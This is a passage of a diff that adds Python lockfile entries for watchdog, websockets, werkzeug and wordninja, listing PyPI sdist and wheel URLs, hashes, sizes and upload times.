= "watchdog" +version = "6.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" }, + { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" }, + { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" }, + { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" }, + { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" }, + { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" }, + { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" }, + { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" }, + { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" }, + { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" }, + { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" }, + { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" }, + { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" }, + { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" }, + { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" }, + { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" }, + { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" }, + { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" }, +] + +[[package]] +name = "websockets" +version = "15.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/e6/26d09fab466b7ca9c7737474c52be4f76a40301b08362eb2dbc19dcc16c1/websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee", size = 177016, upload-time = "2025-03-05T20:03:41.606Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/da/6462a9f510c0c49837bbc9345aca92d767a56c1fb2939e1579df1e1cdcf7/websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b", size = 175423, upload-time = "2025-03-05T20:01:35.363Z" }, + { url = "https://files.pythonhosted.org/packages/1c/9f/9d11c1a4eb046a9e106483b9ff69bce7ac880443f00e5ce64261b47b07e7/websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205", size = 173080, upload-time = "2025-03-05T20:01:37.304Z" }, + { url = "https://files.pythonhosted.org/packages/d5/4f/b462242432d93ea45f297b6179c7333dd0402b855a912a04e7fc61c0d71f/websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a", size = 173329, upload-time = "2025-03-05T20:01:39.668Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0c/6afa1f4644d7ed50284ac59cc70ef8abd44ccf7d45850d989ea7310538d0/websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e", size = 182312, upload-time = "2025-03-05T20:01:41.815Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d4/ffc8bd1350b229ca7a4db2a3e1c482cf87cea1baccd0ef3e72bc720caeec/websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf", size = 181319, upload-time = "2025-03-05T20:01:43.967Z" }, + { url = "https://files.pythonhosted.org/packages/97/3a/5323a6bb94917af13bbb34009fac01e55c51dfde354f63692bf2533ffbc2/websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb", size = 181631, upload-time = "2025-03-05T20:01:46.104Z" }, + { url = "https://files.pythonhosted.org/packages/a6/cc/1aeb0f7cee59ef065724041bb7ed667b6ab1eeffe5141696cccec2687b66/websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d", size = 182016, upload-time = "2025-03-05T20:01:47.603Z" }, + { url = "https://files.pythonhosted.org/packages/79/f9/c86f8f7af208e4161a7f7e02774e9d0a81c632ae76db2ff22549e1718a51/websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9", size = 181426, upload-time = "2025-03-05T20:01:48.949Z" }, + { url = "https://files.pythonhosted.org/packages/c7/b9/828b0bc6753db905b91df6ae477c0b14a141090df64fb17f8a9d7e3516cf/websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c", size = 181360, upload-time = "2025-03-05T20:01:50.938Z" }, + { url = "https://files.pythonhosted.org/packages/89/fb/250f5533ec468ba6327055b7d98b9df056fb1ce623b8b6aaafb30b55d02e/websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256", size = 176388, upload-time = "2025-03-05T20:01:52.213Z" }, + { url = "https://files.pythonhosted.org/packages/1c/46/aca7082012768bb98e5608f01658ff3ac8437e563eca41cf068bd5849a5e/websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41", size = 176830, upload-time = "2025-03-05T20:01:53.922Z" }, + { url = "https://files.pythonhosted.org/packages/9f/32/18fcd5919c293a398db67443acd33fde142f283853076049824fc58e6f75/websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431", size = 175423, upload-time = "2025-03-05T20:01:56.276Z" }, + { url = "https://files.pythonhosted.org/packages/76/70/ba1ad96b07869275ef42e2ce21f07a5b0148936688c2baf7e4a1f60d5058/websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57", size = 173082, upload-time = "2025-03-05T20:01:57.563Z" }, + { url = "https://files.pythonhosted.org/packages/86/f2/10b55821dd40eb696ce4704a87d57774696f9451108cff0d2824c97e0f97/websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905", size = 173330, upload-time = "2025-03-05T20:01:59.063Z" }, + { url = "https://files.pythonhosted.org/packages/a5/90/1c37ae8b8a113d3daf1065222b6af61cc44102da95388ac0018fcb7d93d9/websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562", size = 182878, upload-time = "2025-03-05T20:02:00.305Z" }, + { url = "https://files.pythonhosted.org/packages/8e/8d/96e8e288b2a41dffafb78e8904ea7367ee4f891dafc2ab8d87e2124cb3d3/websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792", size = 181883, upload-time = "2025-03-05T20:02:03.148Z" }, + { url = "https://files.pythonhosted.org/packages/93/1f/5d6dbf551766308f6f50f8baf8e9860be6182911e8106da7a7f73785f4c4/websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413", size = 182252, upload-time = "2025-03-05T20:02:05.29Z" }, + { url = "https://files.pythonhosted.org/packages/d4/78/2d4fed9123e6620cbf1706c0de8a1632e1a28e7774d94346d7de1bba2ca3/websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8", size = 182521, upload-time = "2025-03-05T20:02:07.458Z" }, + { url = "https://files.pythonhosted.org/packages/e7/3b/66d4c1b444dd1a9823c4a81f50231b921bab54eee2f69e70319b4e21f1ca/websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3", size = 181958, upload-time = "2025-03-05T20:02:09.842Z" }, + { url = "https://files.pythonhosted.org/packages/08/ff/e9eed2ee5fed6f76fdd6032ca5cd38c57ca9661430bb3d5fb2872dc8703c/websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf", size = 181918, upload-time = "2025-03-05T20:02:11.968Z" }, + { url = "https://files.pythonhosted.org/packages/d8/75/994634a49b7e12532be6a42103597b71098fd25900f7437d6055ed39930a/websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85", size = 176388, upload-time = "2025-03-05T20:02:13.32Z" }, + { url = "https://files.pythonhosted.org/packages/98/93/e36c73f78400a65f5e236cd376713c34182e6663f6889cd45a4a04d8f203/websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065", size = 176828, upload-time = "2025-03-05T20:02:14.585Z" }, + { url = "https://files.pythonhosted.org/packages/51/6b/4545a0d843594f5d0771e86463606a3988b5a09ca5123136f8a76580dd63/websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3", size = 175437, upload-time = "2025-03-05T20:02:16.706Z" }, + { url = "https://files.pythonhosted.org/packages/f4/71/809a0f5f6a06522af902e0f2ea2757f71ead94610010cf570ab5c98e99ed/websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665", size = 173096, upload-time = "2025-03-05T20:02:18.832Z" }, + { url = "https://files.pythonhosted.org/packages/3d/69/1a681dd6f02180916f116894181eab8b2e25b31e484c5d0eae637ec01f7c/websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2", size = 173332, upload-time = "2025-03-05T20:02:20.187Z" }, + { url = "https://files.pythonhosted.org/packages/a6/02/0073b3952f5bce97eafbb35757f8d0d54812b6174ed8dd952aa08429bcc3/websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215", size = 183152, upload-time = "2025-03-05T20:02:22.286Z" }, + { url = "https://files.pythonhosted.org/packages/74/45/c205c8480eafd114b428284840da0b1be9ffd0e4f87338dc95dc6ff961a1/websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5", size = 182096, upload-time = "2025-03-05T20:02:24.368Z" }, + { url = "https://files.pythonhosted.org/packages/14/8f/aa61f528fba38578ec553c145857a181384c72b98156f858ca5c8e82d9d3/websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65", size = 182523, upload-time = "2025-03-05T20:02:25.669Z" }, + { url = "https://files.pythonhosted.org/packages/ec/6d/0267396610add5bc0d0d3e77f546d4cd287200804fe02323797de77dbce9/websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe", size = 182790, upload-time = "2025-03-05T20:02:26.99Z" }, + { url = "https://files.pythonhosted.org/packages/02/05/c68c5adbf679cf610ae2f74a9b871ae84564462955d991178f95a1ddb7dd/websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4", size = 182165, upload-time = "2025-03-05T20:02:30.291Z" }, + { url = "https://files.pythonhosted.org/packages/29/93/bb672df7b2f5faac89761cb5fa34f5cec45a4026c383a4b5761c6cea5c16/websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597", size = 182160, upload-time = "2025-03-05T20:02:31.634Z" }, + { url = "https://files.pythonhosted.org/packages/ff/83/de1f7709376dc3ca9b7eeb4b9a07b4526b14876b6d372a4dc62312bebee0/websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9", size = 176395, upload-time = "2025-03-05T20:02:33.017Z" }, + { url = "https://files.pythonhosted.org/packages/7d/71/abf2ebc3bbfa40f391ce1428c7168fb20582d0ff57019b69ea20fa698043/websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7", size = 176841, upload-time = "2025-03-05T20:02:34.498Z" }, + { url = "https://files.pythonhosted.org/packages/cb/9f/51f0cf64471a9d2b4d0fc6c534f323b664e7095640c34562f5182e5a7195/websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931", size = 175440, upload-time = "2025-03-05T20:02:36.695Z" }, + { url = "https://files.pythonhosted.org/packages/8a/05/aa116ec9943c718905997412c5989f7ed671bc0188ee2ba89520e8765d7b/websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675", size = 173098, upload-time = "2025-03-05T20:02:37.985Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0b/33cef55ff24f2d92924923c99926dcce78e7bd922d649467f0eda8368923/websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151", size = 173329, upload-time = "2025-03-05T20:02:39.298Z" }, + { url = "https://files.pythonhosted.org/packages/31/1d/063b25dcc01faa8fada1469bdf769de3768b7044eac9d41f734fd7b6ad6d/websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22", size = 183111, upload-time = "2025-03-05T20:02:40.595Z" }, + { url = "https://files.pythonhosted.org/packages/93/53/9a87ee494a51bf63e4ec9241c1ccc4f7c2f45fff85d5bde2ff74fcb68b9e/websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f", size = 182054, upload-time = "2025-03-05T20:02:41.926Z" }, + { url = "https://files.pythonhosted.org/packages/ff/b2/83a6ddf56cdcbad4e3d841fcc55d6ba7d19aeb89c50f24dd7e859ec0805f/websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8", size = 182496, upload-time = "2025-03-05T20:02:43.304Z" }, + { url = "https://files.pythonhosted.org/packages/98/41/e7038944ed0abf34c45aa4635ba28136f06052e08fc2168520bb8b25149f/websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375", size = 182829, upload-time = "2025-03-05T20:02:48.812Z" }, + { url = "https://files.pythonhosted.org/packages/e0/17/de15b6158680c7623c6ef0db361da965ab25d813ae54fcfeae2e5b9ef910/websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d", size = 182217, upload-time = "2025-03-05T20:02:50.14Z" }, + { url = "https://files.pythonhosted.org/packages/33/2b/1f168cb6041853eef0362fb9554c3824367c5560cbdaad89ac40f8c2edfc/websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4", size = 182195, upload-time = "2025-03-05T20:02:51.561Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/20b6cdf273913d0ad05a6a14aed4b9a85591c18a987a3d47f20fa13dcc47/websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa", size = 176393, upload-time = "2025-03-05T20:02:53.814Z" }, + { url = "https://files.pythonhosted.org/packages/1b/6c/c65773d6cab416a64d191d6ee8a8b1c68a09970ea6909d16965d26bfed1e/websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561", size = 176837, upload-time = "2025-03-05T20:02:55.237Z" }, + { url = "https://files.pythonhosted.org/packages/02/9e/d40f779fa16f74d3468357197af8d6ad07e7c5a27ea1ca74ceb38986f77a/websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3", size = 173109, upload-time = "2025-03-05T20:03:17.769Z" }, + { url = "https://files.pythonhosted.org/packages/bc/cd/5b887b8585a593073fd92f7c23ecd3985cd2c3175025a91b0d69b0551372/websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1", size = 173343, upload-time = "2025-03-05T20:03:19.094Z" }, + { url = "https://files.pythonhosted.org/packages/fe/ae/d34f7556890341e900a95acf4886833646306269f899d58ad62f588bf410/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475", size = 174599, upload-time = "2025-03-05T20:03:21.1Z" }, + { url = "https://files.pythonhosted.org/packages/71/e6/5fd43993a87db364ec60fc1d608273a1a465c0caba69176dd160e197ce42/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9", size = 174207, upload-time = "2025-03-05T20:03:23.221Z" }, + { url = "https://files.pythonhosted.org/packages/2b/fb/c492d6daa5ec067c2988ac80c61359ace5c4c674c532985ac5a123436cec/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04", size = 174155, upload-time = "2025-03-05T20:03:25.321Z" }, + { url = "https://files.pythonhosted.org/packages/68/a1/dcb68430b1d00b698ae7a7e0194433bce4f07ded185f0ee5fb21e2a2e91e/websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122", size = 176884, upload-time = "2025-03-05T20:03:27.934Z" }, + { url = "https://files.pythonhosted.org/packages/fa/a8/5b41e0da817d64113292ab1f8247140aac61cbf6cfd085d6a0fa77f4984f/websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f", size = 169743, upload-time = "2025-03-05T20:03:39.41Z" }, +] + +[[package]] +name = "werkzeug" +version = "3.1.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5a/70/1469ef1d3542ae7c2c7b72bd5e3a4e6ee69d7978fa8a3af05a38eca5becf/werkzeug-3.1.5.tar.gz", hash = "sha256:6a548b0e88955dd07ccb25539d7d0cc97417ee9e179677d22c7041c8f078ce67", size = 864754, upload-time = "2026-01-08T17:49:23.247Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ad/e4/8d97cca767bcc1be76d16fb76951608305561c6e056811587f36cb1316a8/werkzeug-3.1.5-py3-none-any.whl", hash = "sha256:5111e36e91086ece91f93268bb39b4a35c1e6f1feac762c9c822ded0a4e322dc", size = 225025, upload-time = "2026-01-08T17:49:21.859Z" }, +] + +[[package]] +name = "wordninja" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/30/15/abe4af50f4be92b60c25e43c1c64d08453b51e46c32981d80b3aebec0260/wordninja-2.0.0.tar.gz", hash = 